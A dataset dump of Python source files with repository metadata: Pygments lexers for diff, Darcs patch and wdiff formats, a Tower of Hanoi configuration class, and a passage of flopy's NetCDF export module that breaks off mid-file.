--patch`` and ``darcs send``. .. versionadded:: 0.10 """ name = 'Darcs Patch' aliases = ['dpatch'] filenames = ['*.dpatch', '*.darcspatch'] DPATCH_KEYWORDS = ('hunk', 'addfile', 'adddir', 'rmfile', 'rmdir', 'move', 'replace') tokens = { 'root': [ (r'<', Operator), (r'>', Operator), (r'\{', Operator), (r'\}', Operator), (r'(\[)((?:TAG )?)(.*)(\n)(.*)(\*\*)(\d+)(\s?)(\])', bygroups(Operator, Keyword, Name, Text, Name, Operator, Literal.Date, Text, Operator)), (r'(\[)((?:TAG )?)(.*)(\n)(.*)(\*\*)(\d+)(\s?)', bygroups(Operator, Keyword, Name, Text, Name, Operator, Literal.Date, Text), 'comment'), (r'New patches:', Generic.Heading), (r'Context:', Generic.Heading), (r'Patch bundle hash:', Generic.Heading), (r'(\s*)(%s)(.*\n)' % '|'.join(DPATCH_KEYWORDS), bygroups(Text, Keyword, Text)), (r'\+', Generic.Inserted, "insert"), (r'-', Generic.Deleted, "delete"), (r'.*\n', Text), ], 'comment': [ (r'[^\]].*\n', Comment), (r'\]', Operator, "#pop"), ], 'specialText': [ # darcs add [_CODE_] special operators for clarity (r'\n', Text, "#pop"), # line-based (r'\[_[^_]*_]', Operator), ], 'insert': [ include('specialText'), (r'\[', Generic.Inserted), (r'[^\n\[]+', Generic.Inserted), ], 'delete': [ include('specialText'), (r'\[', Generic.Deleted), (r'[^\n\[]+', Generic.Deleted), ], } class WDiffLexer(RegexLexer): """ A `wdiff <https://www.gnu.org/software/wdiff/>`_ lexer. Note that: * only to normal output (without option like -l). * if target files of wdiff contain "[-", "-]", "{+", "+}", especially they are unbalanced, this lexer will get confusing. .. versionadded:: 2.2 """ name = 'WDiff' aliases = ['wdiff'] filenames = ['*.wdiff'] mimetypes = [] flags = re.MULTILINE | re.DOTALL # We can only assume "[-" after "[-" before "-]" is `nested`, # for instance wdiff to wdiff outputs. We have no way to # distinct these marker is of wdiff output from original text. ins_op = r"\{\+" ins_cl = r"\+\}" del_op = r"\[\-" del_cl = r"\-\]" normal = r'[^{}[\]+-]+' # for performance tokens = { 'root': [ (ins_op, Generic.Inserted, 'inserted'), (del_op, Generic.Deleted, 'deleted'), (normal, Text), (r'.', Text), ], 'inserted': [ (ins_op, Generic.Inserted, '#push'), (del_op, Generic.Inserted, '#push'), (del_cl, Generic.Inserted, '#pop'), (ins_cl, Generic.Inserted, '#pop'), (normal, Generic.Inserted), (r'.', Generic.Inserted), ], 'deleted': [ (del_op, Generic.Deleted, '#push'), (ins_op, Generic.Deleted, '#push'), (ins_cl, Generic.Deleted, '#pop'), (del_cl, Generic.Deleted, '#pop'), (normal, Generic.Deleted), (r'.', Generic.Deleted), ], }

29.355422

86

0.477324

import re from pygments.lexer import RegexLexer, include, bygroups from pygments.token import Text, Comment, Operator, Keyword, Name, Generic, \ Literal __all__ = ['DiffLexer', 'DarcsPatchLexer', 'WDiffLexer'] class DiffLexer(RegexLexer): name = 'Diff' aliases = ['diff', 'udiff'] filenames = ['*.diff', '*.patch'] mimetypes = ['text/x-diff', 'text/x-patch'] tokens = { 'root': [ (r' .*\n', Text), (r'\+.*\n', Generic.Inserted), (r'-.*\n', Generic.Deleted), (r'!.*\n', Generic.Strong), (r'@.*\n', Generic.Subheading), (r'([Ii]ndex|diff).*\n', Generic.Heading), (r'=.*\n', Generic.Heading), (r'.*\n', Text), ] } def analyse_text(text): if text[:7] == 'Index: ': return True if text[:5] == 'diff ': return True if text[:4] == '--- ': return 0.9 class DarcsPatchLexer(RegexLexer): name = 'Darcs Patch' aliases = ['dpatch'] filenames = ['*.dpatch', '*.darcspatch'] DPATCH_KEYWORDS = ('hunk', 'addfile', 'adddir', 'rmfile', 'rmdir', 'move', 'replace') tokens = { 'root': [ (r'<', Operator), (r'>', Operator), (r'\{', Operator), (r'\}', Operator), (r'(\[)((?:TAG )?)(.*)(\n)(.*)(\*\*)(\d+)(\s?)(\])', bygroups(Operator, Keyword, Name, Text, Name, Operator, Literal.Date, Text, Operator)), (r'(\[)((?:TAG )?)(.*)(\n)(.*)(\*\*)(\d+)(\s?)', bygroups(Operator, Keyword, Name, Text, Name, Operator, Literal.Date, Text), 'comment'), (r'New patches:', Generic.Heading), (r'Context:', Generic.Heading), (r'Patch bundle hash:', Generic.Heading), (r'(\s*)(%s)(.*\n)' % '|'.join(DPATCH_KEYWORDS), bygroups(Text, Keyword, Text)), (r'\+', Generic.Inserted, "insert"), (r'-', Generic.Deleted, "delete"), (r'.*\n', Text), ], 'comment': [ (r'[^\]].*\n', Comment), (r'\]', Operator, "#pop"), ], 'specialText': [ (r'\n', Text, "#pop"), (r'\[_[^_]*_]', Operator), ], 'insert': [ include('specialText'), (r'\[', Generic.Inserted), (r'[^\n\[]+', Generic.Inserted), ], 'delete': [ include('specialText'), (r'\[', Generic.Deleted), (r'[^\n\[]+', Generic.Deleted), ], } class WDiffLexer(RegexLexer): name = 'WDiff' aliases = ['wdiff'] filenames = ['*.wdiff'] mimetypes = [] flags = re.MULTILINE | re.DOTALL ins_op = r"\{\+" ins_cl = r"\+\}" del_op = r"\[\-" del_cl = r"\-\]" normal = r'[^{}[\]+-]+' tokens = { 'root': [ (ins_op, Generic.Inserted, 'inserted'), (del_op, Generic.Deleted, 'deleted'), (normal, Text), (r'.', Text), ], 'inserted': [ (ins_op, Generic.Inserted, '#push'), (del_op, Generic.Inserted, '#push'), (del_cl, Generic.Inserted, '#pop'), (ins_cl, Generic.Inserted, '#pop'), (normal, Generic.Inserted), (r'.', Generic.Inserted), ], 'deleted': [ (del_op, Generic.Deleted, '#push'), (ins_op, Generic.Deleted, '#push'), (ins_cl, Generic.Deleted, '#pop'), (del_cl, Generic.Deleted, '#pop'), (normal, Generic.Deleted), (r'.', Generic.Deleted), ], }

true

f70194a792e7d2b8b7d98d4ca7fae67585114899

735

py

Python

config.py

vabarboza/Torre-de-Hanoi

089d3daa5aa78b9d2197d09e86ff27136aef22bf

[ "MIT" ]

null

config.py

vabarboza/Torre-de-Hanoi

089d3daa5aa78b9d2197d09e86ff27136aef22bf

[ "MIT" ]

null

config.py

vabarboza/Torre-de-Hanoi

089d3daa5aa78b9d2197d09e86ff27136aef22bf

[ "MIT" ]

null

from disco import Disco class Config: def __init__(self): self._numero_discos = int(input("\nInforme a quantidade de discos: ")) def adiciona_discos(self, torre_inicial): discos = self.add_disco() for ix in range(self._numero_discos): torre_inicial.empilha(discos[ix]) def add_disco(self): discos = [] arquivo = open('disco.txt', 'r') for linha in arquivo: discos.append(Disco(int(linha))) return discos def numero_discos(self): return self._numero_discos def status_torres(self, torres): print('\nNumero de discos: ' + str(self._numero_discos)) for torre in torres: torre.to_string()

23.709677

78

0.609524

from disco import Disco class Config: def __init__(self): self._numero_discos = int(input("\nInforme a quantidade de discos: ")) def adiciona_discos(self, torre_inicial): discos = self.add_disco() for ix in range(self._numero_discos): torre_inicial.empilha(discos[ix]) def add_disco(self): discos = [] arquivo = open('disco.txt', 'r') for linha in arquivo: discos.append(Disco(int(linha))) return discos def numero_discos(self): return self._numero_discos def status_torres(self, torres): print('\nNumero de discos: ' + str(self._numero_discos)) for torre in torres: torre.to_string()

true

f70194cedfde30f4c6fd6c44b9d3193b0d9a8861

51,979

py

Python

flopy/export/netcdf.py

aleaf/flopy

a5777a4d4a745e473110a167c69603ac4ad3106c

[ "CC0-1.0", "BSD-3-Clause" ]

null

flopy/export/netcdf.py

aleaf/flopy

a5777a4d4a745e473110a167c69603ac4ad3106c

[ "CC0-1.0", "BSD-3-Clause" ]

null

flopy/export/netcdf.py

aleaf/flopy

a5777a4d4a745e473110a167c69603ac4ad3106c

[ "CC0-1.0", "BSD-3-Clause" ]

null

import os import platform import socket import copy import json import numpy as np from datetime import datetime import time from .metadata import acdd import flopy # globals FILLVALUE = -99999.9 ITMUNI = { 0: "undefined", 1: "seconds", 2: "minutes", 3: "hours", 4: "days", 5: "years", } PRECISION_STRS = ["f4", "f8", "i4"] STANDARD_VARS = ["longitude", "latitude", "layer", "elevation", "time"] path = os.path.split(__file__)[0] with open(path + "/longnames.json") as f: NC_LONG_NAMES = json.load(f) class Logger(object): """ Basic class for logging events during the linear analysis calculations if filename is passed, then an file handle is opened Parameters ---------- filename : bool or string if string, it is the log file to write. If a bool, then log is written to the screen. echo (bool): a flag to force screen output Attributes ---------- items : dict tracks when something is started. If a log entry is not in items, then it is treated as a new entry with the string being the key and the datetime as the value. If a log entry is in items, then the end time and delta time are written and the item is popped from the keys """ def __init__(self, filename, echo=False): self.items = {} self.echo = bool(echo) if filename == True: self.echo = True self.filename = None elif filename: self.f = open(filename, "w", 0) # unbuffered self.t = datetime.now() self.log("opening " + str(filename) + " for logging") else: self.filename = None def log(self, phrase): """ log something that happened Parameters ---------- phrase : str the thing that happened """ pass t = datetime.now() if phrase in self.items.keys(): s = ( str(t) + " finished: " + str(phrase) + ", took: " + str(t - self.items[phrase]) + "\n" ) if self.echo: print(s,) if self.filename: self.f.write(s) self.items.pop(phrase) else: s = str(t) + " starting: " + str(phrase) + "\n" if self.echo: print(s,) if self.filename: self.f.write(s) self.items[phrase] = copy.deepcopy(t) def warn(self, message): """ Write a warning to the log file Parameters ---------- message : str the warning text """ s = str(datetime.now()) + " WARNING: " + message + "\n" if self.echo: print(s,) if self.filename: self.f.write(s) return class NetCdf(object): """ Support for writing a netCDF4 compliant file from a flopy model Parameters ---------- output_filename : str Name of the .nc file to write model : flopy model instance time_values : the entries for the time dimension if not None, the constructor will initialize the file. If None, the perlen array of ModflowDis will be used z_positive : str ('up' or 'down') Positive direction of vertical coordinates written to NetCDF file. (default 'down') verbose : if True, stdout is verbose. If str, then a log file is written to the verbose file forgive : what to do if a duplicate variable name is being created. If True, then the newly requested var is skipped. If False, then an exception is raised. **kwargs : keyword arguments modelgrid : flopy.discretization.Grid instance user supplied model grid which will be used in lieu of the model object modelgrid for netcdf production Notes ----- This class relies heavily on the grid and modeltime objects, including these attributes: lenuni, itmuni, start_datetime, and proj4. Make sure these attributes have meaningful values. """ def __init__( self, output_filename, model, time_values=None, z_positive="up", verbose=None, prj=None, logger=None, forgive=False, **kwargs ): assert output_filename.lower().endswith(".nc") if verbose is None: verbose = model.verbose if logger is not None: self.logger = logger else: self.logger = Logger(verbose) self.var_attr_dict = {} self.log = self.logger.log if os.path.exists(output_filename): self.logger.warn("removing existing nc file: " + output_filename) os.remove(output_filename) self.output_filename = output_filename self.forgive = bool(forgive) self.model = model self.model_grid = model.modelgrid if "modelgrid" in kwargs: self.model_grid = kwargs.pop("modelgrid") self.model_time = model.modeltime if prj is not None: self.model_grid.proj4 = prj if self.model_grid.grid_type == "structured": self.dimension_names = ("layer", "y", "x") STANDARD_VARS.extend(["delc", "delr"]) # elif self.model_grid.grid_type == 'vertex': # self.dimension_names = ('layer', 'ncpl') else: raise Exception( "Grid type {} not supported.".format(self.model_grid.grid_type) ) self.shape = self.model_grid.shape try: import dateutil.parser except: print( "python-dateutil is not installed\n" + "try pip install python-dateutil" ) return self.start_datetime = self._dt_str( dateutil.parser.parse(self.model_time.start_datetime) ) self.logger.warn("start datetime:{0}".format(str(self.start_datetime))) proj4_str = self.model_grid.proj4 if proj4_str is None: proj4_str = "epsg:4326" self.log( "Warning: model has no coordinate reference system specified. " "Using default proj4 string: {}".format(proj4_str) ) self.proj4_str = proj4_str self.grid_units = self.model_grid.units self.z_positive = z_positive if self.grid_units is None: self.grid_units = "undefined" assert self.grid_units in ["feet", "meters", "undefined"], ( "unsupported length units: " + self.grid_units ) self.time_units = self.model_time.time_units # this gives us confidence that every NetCdf instance # has the same attributes self.log("initializing attributes") self._initialize_attributes() self.log("initializing attributes") self.time_values_arg = time_values self.log("initializing file") self.initialize_file(time_values=self.time_values_arg) self.log("initializing file") def __add__(self, other): new_net = NetCdf.zeros_like(self) if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] + other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] + other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__add__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def __sub__(self, other): new_net = NetCdf.zeros_like(self) if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] - other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] - other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__sub__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def __mul__(self, other): new_net = NetCdf.zeros_like(self) if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] * other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] * other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__mul__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def __div__(self, other): return self.__truediv__(other) def __truediv__(self, other): new_net = NetCdf.zeros_like(self) with np.errstate(invalid="ignore"): if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] / other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] / other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__sub__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def append(self, other, suffix="_1"): assert isinstance(other, NetCdf) or isinstance(other, dict) if isinstance(other, NetCdf): for vname in other.var_attr_dict.keys(): attrs = other.var_attr_dict[vname].copy() var = other.nc.variables[vname] new_vname = vname if vname in self.nc.variables.keys(): if vname not in STANDARD_VARS: new_vname = vname + suffix if "long_name" in attrs: attrs["long_name"] += " " + suffix else: continue assert ( new_vname not in self.nc.variables.keys() ), "var already exists:{0} in {1}".format( new_vname, ",".join(self.nc.variables.keys()) ) attrs["max"] = var[:].max() attrs["min"] = var[:].min() new_var = self.create_variable( new_vname, attrs, var.dtype, dimensions=var.dimensions ) new_var[:] = var[:] else: for vname, array in other.items(): vname_norm = self.normalize_name(vname) assert ( vname_norm in self.nc.variables.keys() ), "dict var not in " "self.vars:{0}-->".format( vname ) + ",".join( self.nc.variables.keys() ) new_vname = vname_norm + suffix assert new_vname not in self.nc.variables.keys() attrs = self.var_attr_dict[vname_norm].copy() attrs["max"] = np.nanmax(array) attrs["min"] = np.nanmin(array) attrs["name"] = new_vname attrs["long_name"] = attrs["long_name"] + " " + suffix var = self.nc.variables[vname_norm] # assert var.shape == array.shape,\ # "{0} shape ({1}) doesn't make array shape ({2})".\ # format(new_vname,str(var.shape),str(array.shape)) new_var = self.create_variable( new_vname, attrs, var.dtype, dimensions=var.dimensions ) try: new_var[:] = array except: new_var[:, 0] = array return def copy(self, output_filename): new_net = NetCdf.zeros_like(self, output_filename=output_filename) for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = self.nc.variables[vname][:] return new_net @classmethod def zeros_like( cls, other, output_filename=None, verbose=None, logger=None ): new_net = NetCdf.empty_like( other, output_filename=output_filename, verbose=verbose, logger=logger, ) # add the vars to the instance for vname in other.var_attr_dict.keys(): if new_net.nc.variables.get(vname) is not None: new_net.logger.warn( "variable {0} already defined, skipping".format(vname) ) continue new_net.log("adding variable {0}".format(vname)) var = other.nc.variables[vname] data = var[:] try: mask = data.mask data = np.array(data) except: mask = None new_data = np.zeros_like(data) new_data[mask] = FILLVALUE new_var = new_net.create_variable( vname, other.var_attr_dict[vname], var.dtype, dimensions=var.dimensions, ) new_var[:] = new_data new_net.log("adding variable {0}".format(vname)) global_attrs = {} for attr in other.nc.ncattrs(): if attr not in new_net.nc.ncattrs(): global_attrs[attr] = other.nc[attr] new_net.add_global_attributes(global_attrs) return new_net @classmethod def empty_like( cls, other, output_filename=None, verbose=None, logger=None ): if output_filename is None: output_filename = ( str(time.mktime(datetime.now().timetuple())) + ".nc" ) while os.path.exists(output_filename): print("{}...already exists".format(output_filename)) output_filename = ( str(time.mktime(datetime.now().timetuple())) + ".nc" ) print( "creating temporary netcdf file..." + "{}".format(output_filename) ) new_net = cls( output_filename, other.model, time_values=other.time_values_arg, verbose=verbose, logger=logger, ) return new_net def difference( self, other, minuend="self", mask_zero_diff=True, onlydiff=True ): """ make a new NetCDF instance that is the difference with another netcdf file Parameters ---------- other : either an str filename of a netcdf file or a netCDF4 instance minuend : (optional) the order of the difference operation. Default is self (e.g. self - other). Can be "self" or "other" mask_zero_diff : bool flag to mask differences that are zero. If True, positions in the difference array that are zero will be set to self.fillvalue only_diff : bool flag to only add non-zero diffs to output file Returns ------- net NetCDF instance Notes ----- assumes the current NetCDF instance has been populated. The variable names and dimensions between the two files must match exactly. The name of the new .nc file is <self.output_filename>.diff.nc. The masks from both self and other are carried through to the new instance """ assert self.nc is not None, ( "can't call difference() if nc " + "hasn't been populated" ) try: import netCDF4 except Exception as e: mess = "error import netCDF4: {0}".format(str(e)) self.logger.warn(mess) raise Exception(mess) if isinstance(other, str): assert os.path.exists( other ), "filename 'other' not found:" + "{0}".format(other) other = netCDF4.Dataset(other, "r") assert isinstance(other, netCDF4.Dataset) # check for similar variables self_vars = set(self.nc.variables.keys()) other_vars = set(other.variables) diff = self_vars.symmetric_difference(other_vars) if len(diff) > 0: self.logger.warn( "variables are not the same between the two " + "nc files: " + ",".join(diff) ) return # check for similar dimensions self_dimens = self.nc.dimensions other_dimens = other.dimensions for d in self_dimens.keys(): if d not in other_dimens: self.logger.warn("missing dimension in other:{0}".format(d)) return if len(self_dimens[d]) != len(other_dimens[d]): self.logger.warn( "dimension not consistent: " + "{0}:{1}".format(self_dimens[d], other_dimens[d]) ) return # should be good to go time_values = self.nc.variables.get("time")[:] new_net = NetCdf( self.output_filename.replace(".nc", ".diff.nc"), self.model, time_values=time_values, ) # add the vars to the instance for vname in self_vars: if ( vname not in self.var_attr_dict or new_net.nc.variables.get(vname) is not None ): self.logger.warn("skipping variable: {0}".format(vname)) continue self.log("processing variable {0}".format(vname)) s_var = self.nc.variables[vname] o_var = other.variables[vname] s_data = s_var[:] o_data = o_var[:] o_mask, s_mask = None, None # keep the masks to apply later if isinstance(s_data, np.ma.MaskedArray): self.logger.warn("masked array for {0}".format(vname)) s_mask = s_data.mask s_data = np.array(s_data) s_data[s_mask] = 0.0 else: np.nan_to_num(s_data) if isinstance(o_data, np.ma.MaskedArray): o_mask = o_data.mask o_data = np.array(o_data) o_data[o_mask] = 0.0 else: np.nan_to_num(o_data) # difference with self if minuend.lower() == "self": d_data = s_data - o_data elif minuend.lower() == "other": d_data = o_data - s_data else: mess = "unrecognized minuend {0}".format(minuend) self.logger.warn(mess) raise Exception(mess) # check for non-zero diffs if onlydiff and d_data.sum() == 0.0: self.logger.warn( "var {0} has zero differences, skipping...".format(vname) ) continue self.logger.warn( "resetting diff attrs max,min:{0},{1}".format( d_data.min(), d_data.max() ) ) attrs = self.var_attr_dict[vname].copy() attrs["max"] = np.nanmax(d_data) attrs["min"] = np.nanmin(d_data) # reapply masks if s_mask is not None: self.log("applying self mask") s_mask[d_data != 0.0] = False d_data[s_mask] = FILLVALUE self.log("applying self mask") if o_mask is not None: self.log("applying other mask") o_mask[d_data != 0.0] = False d_data[o_mask] = FILLVALUE self.log("applying other mask") d_data[np.isnan(d_data)] = FILLVALUE if mask_zero_diff: d_data[np.where(d_data == 0.0)] = FILLVALUE var = new_net.create_variable( vname, attrs, s_var.dtype, dimensions=s_var.dimensions ) var[:] = d_data self.log("processing variable {0}".format(vname)) def _dt_str(self, dt): """ for datetime to string for year < 1900 """ dt_str = "{0:04d}-{1:02d}-{2:02d}T{3:02d}:{4:02d}:{5:02}Z".format( dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second ) return dt_str def write(self): """write the nc object to disk""" self.log("writing nc file") assert ( self.nc is not None ), "netcdf.write() error: nc file not initialized" # write any new attributes that have been set since # initializing the file for k, v in self.global_attributes.items(): try: if self.nc.attributes.get(k) is not None: self.nc.setncattr(k, v) except Exception: self.logger.warn( "error setting global attribute {0}".format(k) ) self.nc.sync() self.nc.close() self.log("writing nc file") def _initialize_attributes(self): """private method to initial the attributes of the NetCdf instance """ assert ( "nc" not in self.__dict__.keys() ), "NetCdf._initialize_attributes() error: nc attribute already set" self.nc_epsg_str = "epsg:4326" self.nc_crs_longname = "http://www.opengis.net/def/crs/EPSG/0/4326" self.nc_semi_major = float(6378137.0) self.nc_inverse_flat = float(298.257223563) self.global_attributes = {} self.global_attributes["namefile"] = self.model.namefile self.global_attributes["model_ws"] = self.model.model_ws self.global_attributes["exe_name"] = self.model.exe_name self.global_attributes["modflow_version"] = self.model.version self.global_attributes["create_hostname"] = socket.gethostname() self.global_attributes["create_platform"] = platform.system() self.global_attributes["create_directory"] = os.getcwd() htol, rtol = -999, -999 try: htol, rtol = self.model.solver_tols() except Exception as e: self.logger.warn( "unable to get solver tolerances:" + "{0}".format(str(e)) ) self.global_attributes["solver_head_tolerance"] = htol self.global_attributes["solver_flux_tolerance"] = rtol spatial_attribs = { "xll": self.model_grid.xoffset, "yll": self.model_grid.yoffset, "rotation": self.model_grid.angrot, "proj4_str": self.model_grid.proj4, } for n, v in spatial_attribs.items(): self.global_attributes["flopy_sr_" + n] = v self.global_attributes[ "start_datetime" ] = self.model_time.start_datetime self.fillvalue = FILLVALUE # initialize attributes self.grid_crs = None self.zs = None self.ys = None self.xs = None self.nc = None def initialize_geometry(self): """ initialize the geometric information needed for the netcdf file """ try: import pyproj except ImportError as e: raise ImportError( "NetCdf error importing pyproj module:\n" + str(e) ) from distutils.version import LooseVersion # Check if using newer pyproj version conventions pyproj220 = LooseVersion(pyproj.__version__) >= LooseVersion("2.2.0") proj4_str = self.proj4_str print("initialize_geometry::proj4_str = {}".format(proj4_str)) self.log("building grid crs using proj4 string: {}".format(proj4_str)) if pyproj220: self.grid_crs = pyproj.CRS(proj4_str) else: self.grid_crs = pyproj.Proj(proj4_str, preserve_units=True) print("initialize_geometry::self.grid_crs = {}".format(self.grid_crs)) vmin, vmax = self.model_grid.botm.min(), self.model_grid.top.max() if self.z_positive == "down": vmin, vmax = vmax, vmin else: self.zs = self.model_grid.xyzcellcenters[2].copy() ys = self.model_grid.xyzcellcenters[1].copy() xs = self.model_grid.xyzcellcenters[0].copy() # Transform to a known CRS if pyproj220: nc_crs = pyproj.CRS(self.nc_epsg_str) self.transformer = pyproj.Transformer.from_crs( self.grid_crs, nc_crs, always_xy=True ) else: nc_crs = pyproj.Proj(self.nc_epsg_str) self.transformer = None print("initialize_geometry::nc_crs = {}".format(nc_crs)) if pyproj220: print( "transforming coordinates using = {}".format(self.transformer) ) self.log("projecting grid cell center arrays") if pyproj220: self.xs, self.ys = self.transformer.transform(xs, ys) else: self.xs, self.ys = pyproj.transform(self.grid_crs, nc_crs, xs, ys) # get transformed bounds and record to check against ScienceBase later xmin, xmax, ymin, ymax = self.model_grid.extent bbox = np.array( [[xmin, ymin], [xmin, ymax], [xmax, ymax], [xmax, ymin]] ) if pyproj220: x, y = self.transformer.transform(*bbox.transpose()) else: x, y = pyproj.transform(self.grid_crs, nc_crs, *bbox.transpose()) self.bounds = x.min(), y.min(), x.max(), y.max() self.vbounds = vmin, vmax def initialize_file(self, time_values=None): """ initialize the netcdf instance, including global attributes, dimensions, and grid information Parameters ---------- time_values : list of times to use as time dimension entries. If none, then use the times in self.model.dis.perlen and self.start_datetime """ if self.nc is not None: raise Exception("nc file already initialized") if self.grid_crs is None: self.log("initializing geometry") self.initialize_geometry() self.log("initializing geometry") try: import netCDF4 except Exception as e: self.logger.warn("error importing netCDF module") msg = "NetCdf error importing netCDF4 module:\n" + str(e) raise Exception(msg) # open the file for writing try: self.nc = netCDF4.Dataset(self.output_filename, "w") except Exception as e: msg = "error creating netcdf dataset:\n{}".format(str(e)) raise Exception(msg) # write some attributes self.log("setting standard attributes") self.nc.setncattr( "Conventions", "CF-1.6, ACDD-1.3, flopy {}".format(flopy.__version__), ) self.nc.setncattr( "date_created", datetime.utcnow().strftime("%Y-%m-%dT%H:%M:00Z") ) self.nc.setncattr( "geospatial_vertical_positive", "{}".format(self.z_positive) ) min_vertical = np.min(self.zs) max_vertical = np.max(self.zs) self.nc.setncattr("geospatial_vertical_min", min_vertical) self.nc.setncattr("geospatial_vertical_max", max_vertical) self.nc.setncattr("geospatial_vertical_resolution", "variable") self.nc.setncattr("featureType", "Grid") for k, v in self.global_attributes.items(): try: self.nc.setncattr(k, v) except: self.logger.warn( "error setting global attribute {0}".format(k) ) self.global_attributes = {} self.log("setting standard attributes") # spatial dimensions self.log("creating dimensions") # time if time_values is None: time_values = np.cumsum(self.model_time.perlen) self.nc.createDimension("time", len(time_values)) for name, length in zip(self.dimension_names, self.shape): self.nc.createDimension(name, length) self.log("creating dimensions") self.log("setting CRS info") # Metadata variables crs = self.nc.createVariable("crs", "i4") crs.long_name = self.nc_crs_longname crs.epsg_code = self.nc_epsg_str crs.semi_major_axis = self.nc_semi_major crs.inverse_flattening = self.nc_inverse_flat self.log("setting CRS info") attribs = { "units": "{} since {}".format( self.time_units, self.start_datetime ), "standard_name": "time", "long_name": NC_LONG_NAMES.get("time", "time"), "calendar": "gregorian", "_CoordinateAxisType": "Time", } time = self.create_variable( "time", attribs, precision_str="f8", dimensions=("time",) ) self.logger.warn("time_values:{0}".format(str(time_values))) time[:] = np.asarray(time_values) # Elevation attribs = { "units": self.model_grid.units, "standard_name": "elevation", "long_name": NC_LONG_NAMES.get("elevation", "elevation"), "axis": "Z", "valid_min": min_vertical, "valid_max": max_vertical, "positive": self.z_positive, } elev = self.create_variable( "elevation", attribs, precision_str="f8", dimensions=self.dimension_names, ) elev[:] = self.zs # Longitude attribs = { "units": "degrees_east", "standard_name": "longitude", "long_name": NC_LONG_NAMES.get("longitude", "longitude"), "axis": "X", "_CoordinateAxisType": "Lon", } lon = self.create_variable( "longitude", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) lon[:] = self.xs self.log("creating longitude var") # Latitude self.log("creating latitude var") attribs = { "units": "degrees_north", "standard_name": "latitude", "long_name": NC_LONG_NAMES.get("latitude", "latitude"), "axis": "Y", "_CoordinateAxisType": "Lat", } lat = self.create_variable( "latitude", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) lat[:] = self.ys # x self.log("creating x var") attribs = { "units": self.model_grid.units, "standard_name": "projection_x_coordinate", "long_name": NC_LONG_NAMES.get("x", "x coordinate of projection"), "axis": "X", } x = self.create_variable( "x_proj", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) x[:] = self.model_grid.xyzcellcenters[0] # y self.log("creating y var") attribs = { "units": self.model_grid.units, "standard_name": "projection_y_coordinate", "long_name": NC_LONG_NAMES.get("y", "y coordinate of projection"), "axis": "Y", } y = self.create_variable( "y_proj", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) y[:] = self.model_grid.xyzcellcenters[1] # grid mapping variable crs = flopy.utils.reference.crs( prj=self.model_grid.prj, epsg=self.model_grid.epsg ) attribs = crs.grid_mapping_attribs if attribs is not None: self.log("creating grid mapping variable") self.create_variable( attribs["grid_mapping_name"], attribs, precision_str="f8" ) # layer self.log("creating layer var") attribs = { "units": "", "standard_name": "layer", "long_name": NC_LONG_NAMES.get("layer", "layer"), "positive": "down", "axis": "Z", } lay = self.create_variable("layer", attribs, dimensions=("layer",)) lay[:] = np.arange(0, self.shape[0]) self.log("creating layer var") if self.model_grid.grid_type == "structured": # delc attribs = { "units": self.model_grid.units.strip("s"), "long_name": NC_LONG_NAMES.get( "delc", "Model grid cell spacing along a column" ), } delc = self.create_variable("delc", attribs, dimensions=("y",)) delc[:] = self.model_grid.delc[::-1] if self.model_grid.angrot != 0: delc.comments = ( "This is the row spacing that applied to the UNROTATED grid. " + "This grid HAS been rotated before being saved to NetCDF. " + "To compute the unrotated grid, use the origin point and this array." ) # delr attribs = { "units": self.model_grid.units.strip("s"), "long_name": NC_LONG_NAMES.get( "delr", "Model grid cell spacing along a row" ), } delr = self.create_variable("delr", attribs, dimensions=("x",)) delr[:] = self.model_grid.delr[::-1] if self.model_grid.angrot != 0: delr.comments = ( "This is the col spacing that applied to the UNROTATED grid. " + "This grid HAS been rotated before being saved to NetCDF. " + "To compute the unrotated grid, use the origin point and this array." ) # else: # vertices # attribs = {"units": self.model_grid.lenuni.strip('s'), # "long_name": NC_LONG_NAMES.get("vertices", # "List of vertices used in the model by cell"), # } # vertices = self.create_variable('vertices', attribs, dimensions=('ncpl',)) # vertices[:] = self.model_grid.vertices # Workaround for CF/CDM. # http://www.unidata.ucar.edu/software/thredds/current/netcdf-java/ # reference/StandardCoordinateTransforms.html # "explicit_field" exp = self.nc.createVariable("VerticalTransform", "S1") exp.transform_name = "explicit_field" exp.existingDataField = "elevation" exp._CoordinateTransformType = "vertical" exp._CoordinateAxes = "layer" return def initialize_group( self, group="timeseries", dimensions=("time",), attributes=None, dimension_data=None, ): """ Method to initialize a new group within a netcdf file. This group can have independent dimensions from the global dimensions Parameters: ---------- name : str name of the netcdf group dimensions : tuple data dimension names for group dimension_shape : tuple tuple of data dimension lengths attributes : dict nested dictionary of {dimension : {attributes}} for each netcdf group dimension dimension_data : dict dictionary of {dimension : [data]} for each netcdf group dimension """ if attributes is None: attributes = {} if dimension_data is None: dimension_data = {} if self.nc is None: self.initialize_file() if group in self.nc.groups: raise AttributeError("{} group already initialized".format(group)) self.log("creating netcdf 